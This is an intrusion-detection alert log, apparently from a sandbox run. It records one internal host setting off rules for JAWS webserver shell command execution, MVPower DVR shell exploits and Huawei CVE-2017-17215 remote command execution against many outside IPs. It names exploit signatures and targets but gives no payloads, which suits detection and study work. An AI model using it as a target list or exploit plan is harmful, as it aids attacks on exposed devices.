ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.151.101.148

Timestamp:	192.168.2.2388.151.101.14851274802030092 01/02/24-06:25:35.254797
SID:	2030092
Source Port:	51274
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.56.102.146

Timestamp:	192.168.2.2345.56.102.14636664802030092 01/02/24-06:24:56.015984
SID:	2030092
Source Port:	36664
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.202.156.241

Timestamp:	192.168.2.2362.202.156.24135188802025883 01/02/24-06:24:17.662475
SID:	2025883
Source Port:	35188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.77.132.177

Timestamp:	192.168.2.2323.77.132.17740724802025883 01/02/24-06:24:18.209402
SID:	2025883
Source Port:	40724
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.88.191.104

Timestamp:	192.168.2.23202.88.191.10458160802030092 01/02/24-06:23:59.400873
SID:	2030092
Source Port:	58160
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 209.97.134.86

Timestamp:	192.168.2.23209.97.134.8644200802025883 01/02/24-06:24:43.211070
SID:	2025883
Source Port:	44200
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.160.112.108

Timestamp:	192.168.2.2367.160.112.10851240802030092 01/02/24-06:25:15.888424
SID:	2030092
Source Port:	51240
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.210.48.113

Timestamp:	192.168.2.2362.210.48.11336542802030092 01/02/24-06:25:31.316043
SID:	2030092
Source Port:	36542
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.25.137.95

Timestamp:	192.168.2.23104.25.137.9540366802030092 01/02/24-06:24:34.920245
SID:	2030092
Source Port:	40366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.97.230

Timestamp:	192.168.2.23156.235.97.23040630372152835222 01/02/24-06:23:56.194246
SID:	2835222
Source Port:	40630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.79.154.210

Timestamp:	192.168.2.23185.79.154.21054452802030092 01/02/24-06:24:58.941620
SID:	2030092
Source Port:	54452
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 109.109.200.175

Timestamp:	192.168.2.23109.109.200.17557970802025883 01/02/24-06:24:01.322259
SID:	2025883
Source Port:	57970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 175.126.123.116

Timestamp:	192.168.2.23175.126.123.11658590802030092 01/02/24-06:25:04.257669
SID:	2030092
Source Port:	58590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.85.32

Timestamp:	192.168.2.23156.254.85.3256952372152829579 01/02/24-06:25:03.334382
SID:	2829579
Source Port:	56952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.149.236.151

Timestamp:	192.168.2.23107.149.236.15149944802030092 01/02/24-06:24:54.829093
SID:	2030092
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 146.71.40.215

Timestamp:	192.168.2.23146.71.40.21548486802025883 01/02/24-06:24:05.866440
SID:	2025883
Source Port:	48486
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.205.246.48

Timestamp:	192.168.2.2323.205.246.4848598802030092 01/02/24-06:24:55.255106
SID:	2030092
Source Port:	48598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.37.135.65

Timestamp:	192.168.2.2323.37.135.6550062802025883 01/02/24-06:24:03.045010
SID:	2025883
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 37.32.125.61

Timestamp:	192.168.2.2337.32.125.6150126802025883 01/02/24-06:24:18.097501
SID:	2025883
Source Port:	50126
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 142.93.144.234

Timestamp:	192.168.2.23142.93.144.23436246802025883 01/02/24-06:24:36.837939
SID:	2025883
Source Port:	36246
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.121.20.145

Timestamp:	192.168.2.23172.121.20.14551014802030092 01/02/24-06:24:24.984846
SID:	2030092
Source Port:	51014
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 181.206.2.46

Timestamp:	192.168.2.23181.206.2.4650076802025883 01/02/24-06:24:03.265616
SID:	2025883
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.2.14.12

Timestamp:	192.168.2.23185.2.14.1251600802025883 01/02/24-06:24:35.360260
SID:	2025883
Source Port:	51600
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.36.6

Timestamp:	192.168.2.23156.253.36.648376372152835222 01/02/24-06:24:16.442516
SID:	2835222
Source Port:	48376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.35.155.166

Timestamp:	192.168.2.2352.35.155.16647130802030092 01/02/24-06:25:42.678669
SID:	2030092
Source Port:	47130
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.85.133.31

Timestamp:	192.168.2.2352.85.133.3147266802025883 01/02/24-06:24:51.888604
SID:	2025883
Source Port:	47266
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.75.225.91

Timestamp:	192.168.2.23104.75.225.9144926802025883 01/02/24-06:24:58.708367
SID:	2025883
Source Port:	44926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.231.150.128

Timestamp:	192.168.2.2323.231.150.12851852802025883 01/02/24-06:24:24.125011
SID:	2025883
Source Port:	51852
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 216.172.159.36

Timestamp:	192.168.2.23216.172.159.3643926802025883 01/02/24-06:25:37.943407
SID:	2025883
Source Port:	43926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.27.15

Timestamp:	192.168.2.23156.247.27.1551010372152835222 01/02/24-06:24:09.783413
SID:	2835222
Source Port:	51010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.20.255

Timestamp:	192.168.2.23156.247.20.25537352372152835222 01/02/24-06:25:07.990796
SID:	2835222
Source Port:	37352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 106.14.41.174

Timestamp:	192.168.2.23106.14.41.17435930802030092 01/02/24-06:24:18.753229
SID:	2030092
Source Port:	35930
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.71.83.32

Timestamp:	192.168.2.23104.71.83.3248722802030092 01/02/24-06:25:16.196517
SID:	2030092
Source Port:	48722
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.223.213.89

Timestamp:	192.168.2.2318.223.213.8951292802025883 01/02/24-06:25:25.918831
SID:	2025883
Source Port:	51292
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 148.72.211.167

Timestamp:	192.168.2.23148.72.211.16752086802025883 01/02/24-06:24:45.420651
SID:	2025883
Source Port:	52086
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.216.109.8

Timestamp:	192.168.2.2334.216.109.859862802030092 01/02/24-06:24:27.341329
SID:	2030092
Source Port:	59862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.23.86.149

Timestamp:	192.168.2.23119.23.86.14936618802030092 01/02/24-06:25:42.547024
SID:	2030092
Source Port:	36618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 109.196.234.18

Timestamp:	192.168.2.23109.196.234.1858414802025883 01/02/24-06:23:55.633320
SID:	2025883
Source Port:	58414
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.79.255.29

Timestamp:	192.168.2.23104.79.255.2941640802025883 01/02/24-06:24:05.776321
SID:	2025883
Source Port:	41640
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 74.217.134.11

Timestamp:	192.168.2.2374.217.134.1157808802030092 01/02/24-06:25:44.030944
SID:	2030092
Source Port:	57808
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.32.70.45

Timestamp:	192.168.2.2345.32.70.4540790802030092 01/02/24-06:24:45.911026
SID:	2030092
Source Port:	40790
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.194.37.217

Timestamp:	192.168.2.2323.194.37.21755520802025883 01/02/24-06:23:55.440502
SID:	2025883
Source Port:	55520
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.244.84.146

Timestamp:	192.168.2.2313.244.84.14656714802025883 01/02/24-06:24:09.228401
SID:	2025883
Source Port:	56714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 202.75.103.117

Timestamp:	192.168.2.23202.75.103.11733286802025883 01/02/24-06:24:31.278952
SID:	2025883
Source Port:	33286
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.100.160.203

Timestamp:	192.168.2.23104.100.160.20360636802030092 01/02/24-06:25:11.730540
SID:	2030092
Source Port:	60636
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.138.75.229

Timestamp:	192.168.2.2362.138.75.22955822802025883 01/02/24-06:25:35.265496
SID:	2025883
Source Port:	55822
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.91.92.175

Timestamp:	192.168.2.2345.91.92.17553294802030092 01/02/24-06:25:42.747930
SID:	2030092
Source Port:	53294
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.94.26

Timestamp:	192.168.2.23156.254.94.2659154372152829579 01/02/24-06:25:03.334223
SID:	2829579
Source Port:	59154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.171

Timestamp:	192.168.2.23156.235.102.17138108372152835222 01/02/24-06:24:02.515190
SID:	2835222
Source Port:	38108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.67.240.216

Timestamp:	192.168.2.23172.67.240.21640034802025883 01/02/24-06:25:29.545694
SID:	2025883
Source Port:	40034
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 82.165.119.133

Timestamp:	192.168.2.2382.165.119.13360268802025883 01/02/24-06:24:19.252681
SID:	2025883
Source Port:	60268
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.45.23.215

Timestamp:	192.168.2.2381.45.23.21550156802030092 01/02/24-06:25:39.133513
SID:	2030092
Source Port:	50156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.130.177

Timestamp:	192.168.2.23156.77.130.17758998372152829579 01/02/24-06:24:06.202488
SID:	2829579
Source Port:	58998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.219.136.37

Timestamp:	192.168.2.2354.219.136.3735172802025883 01/02/24-06:25:18.698984
SID:	2025883
Source Port:	35172
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.132.227.171

Timestamp:	192.168.2.23164.132.227.17152970802030092 01/02/24-06:25:19.078205
SID:	2030092
Source Port:	52970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.131.18.243

Timestamp:	192.168.2.23103.131.18.24355884802030092 01/02/24-06:25:21.511351
SID:	2030092
Source Port:	55884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.42.123.60

Timestamp:	192.168.2.23101.42.123.6038286802030092 01/02/24-06:23:49.854020
SID:	2030092
Source Port:	38286
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.98.90

Timestamp:	192.168.2.23156.254.98.9037532372152829579 01/02/24-06:23:56.031360
SID:	2829579
Source Port:	37532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.111.241.34

Timestamp:	192.168.2.2341.111.241.3452770802030092 01/02/24-06:25:30.188511
SID:	2030092
Source Port:	52770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 113.198.35.222

Timestamp:	192.168.2.23113.198.35.22256150802030092 01/02/24-06:23:49.840400
SID:	2030092
Source Port:	56150
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.224.201.175

Timestamp:	192.168.2.23173.224.201.17554220802025883 01/02/24-06:24:23.810709
SID:	2025883
Source Port:	54220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.105.18.182

Timestamp:	192.168.2.23104.105.18.18246624802025883 01/02/24-06:24:13.802828
SID:	2025883
Source Port:	46624
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.208.51.242

Timestamp:	192.168.2.2352.208.51.24237438802030092 01/02/24-06:24:46.160935
SID:	2030092
Source Port:	37438
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.24.209.204

Timestamp:	192.168.2.23104.24.209.20437990802025883 01/02/24-06:25:29.545650
SID:	2025883
Source Port:	37990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 204.152.46.67

Timestamp:	192.168.2.23204.152.46.6744196802030092 01/02/24-06:24:40.815829
SID:	2030092
Source Port:	44196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.6.180.184

Timestamp:	192.168.2.2338.6.180.18441692802030092 01/02/24-06:25:01.064194
SID:	2030092
Source Port:	41692
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 94.253.89.24

Timestamp:	192.168.2.2394.253.89.2442508802025883 01/02/24-06:23:50.267161
SID:	2025883
Source Port:	42508
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.47.154

Timestamp:	192.168.2.23156.253.47.15437722372152829579 01/02/24-06:24:59.013684
SID:	2829579
Source Port:	37722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.65.143.95

Timestamp:	192.168.2.2318.65.143.9547196802030092 01/02/24-06:25:12.172054
SID:	2030092
Source Port:	47196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.234

Timestamp:	192.168.2.23156.235.102.23453884372152835222 01/02/24-06:24:34.990700
SID:	2835222
Source Port:	53884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.154.232.242

Timestamp:	192.168.2.23198.154.232.24259276802025883 01/02/24-06:24:45.021090
SID:	2025883
Source Port:	59276
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 87.255.233.53

Timestamp:	192.168.2.2387.255.233.5348182802025883 01/02/24-06:24:08.655481
SID:	2025883
Source Port:	48182
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.125.2.94

Timestamp:	192.168.2.23104.125.2.9460962802030092 01/02/24-06:24:40.594854
SID:	2030092
Source Port:	60962
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.92.226.199

Timestamp:	192.168.2.23154.92.226.19933136802030092 01/02/24-06:24:13.806614
SID:	2030092
Source Port:	33136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 199.232.239.48

Timestamp:	192.168.2.23199.232.239.4846658802030092 01/02/24-06:24:23.868552
SID:	2030092
Source Port:	46658
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 114.33.8.18

Timestamp:	192.168.2.23114.33.8.1834070802030092 01/02/24-06:25:18.822764
SID:	2030092
Source Port:	34070
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.221.82.221

Timestamp:	192.168.2.23154.221.82.22160596802025883 01/02/24-06:25:02.335948
SID:	2025883
Source Port:	60596
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.110.26.82

Timestamp:	192.168.2.23185.110.26.8256372802025883 01/02/24-06:24:19.276074
SID:	2025883
Source Port:	56372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.50.160.139

Timestamp:	192.168.2.23103.50.160.13953436802030092 01/02/24-06:24:30.812927
SID:	2030092
Source Port:	53436
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.68.46.23

Timestamp:	192.168.2.2351.68.46.2342144802025883 01/02/24-06:24:54.912247
SID:	2025883
Source Port:	42144
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.164.6.48

Timestamp:	192.168.2.23185.164.6.4838734802025883 01/02/24-06:23:54.914292
SID:	2025883
Source Port:	38734
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.43.100.113

Timestamp:	192.168.2.23202.43.100.11357888802030092 01/02/24-06:24:43.056570
SID:	2030092
Source Port:	57888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.242.127.81

Timestamp:	192.168.2.23173.242.127.8135322802030092 01/02/24-06:25:25.176699
SID:	2030092
Source Port:	35322
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 50.19.25.188

Timestamp:	192.168.2.2350.19.25.18857882802025883 01/02/24-06:24:17.916928
SID:	2025883
Source Port:	57882
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 186.132.17.223

Timestamp:	192.168.2.23186.132.17.22347340802025883 01/02/24-06:24:18.726816
SID:	2025883
Source Port:	47340
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.72

Timestamp:	192.168.2.23156.235.102.7249608372152835222 01/02/24-06:25:03.497048
SID:	2835222
Source Port:	49608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.218.179.45

Timestamp:	192.168.2.2352.218.179.4559110802025883 01/02/24-06:25:34.705547
SID:	2025883
Source Port:	59110
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 191.82.53.43

Timestamp:	192.168.2.23191.82.53.4348036802025883 01/02/24-06:24:27.438039
SID:	2025883
Source Port:	48036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 220.134.218.248

Timestamp:	192.168.2.23220.134.218.24855228802025883 01/02/24-06:23:51.508732
SID:	2025883
Source Port:	55228
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.50.137.229

Timestamp:	192.168.2.2352.50.137.22941178802030092 01/02/24-06:24:03.282074
SID:	2030092
Source Port:	41178
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 46.101.108.165

Timestamp:	192.168.2.2346.101.108.16542208802025883 01/02/24-06:24:24.183226
SID:	2025883
Source Port:	42208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.55.68.98

Timestamp:	192.168.2.2323.55.68.9857508802025883 01/02/24-06:25:29.993837
SID:	2025883
Source Port:	57508
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 89.31.76.45

Timestamp:	192.168.2.2389.31.76.4547048802025883 01/02/24-06:24:08.904729
SID:	2025883
Source Port:	47048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.196.134.247

Timestamp:	192.168.2.2334.196.134.24735922802025883 01/02/24-06:25:34.999781
SID:	2025883
Source Port:	35922
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 125.229.151.239

Timestamp:	192.168.2.23125.229.151.23948022802030092 01/02/24-06:23:54.655329
SID:	2030092
Source Port:	48022
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.11.37.234

Timestamp:	192.168.2.23121.11.37.23456708802030092 01/02/24-06:24:50.567237
SID:	2030092
Source Port:	56708
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.20.101.125

Timestamp:	192.168.2.23117.20.101.12541464802030092 01/02/24-06:24:32.881657
SID:	2030092
Source Port:	41464
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

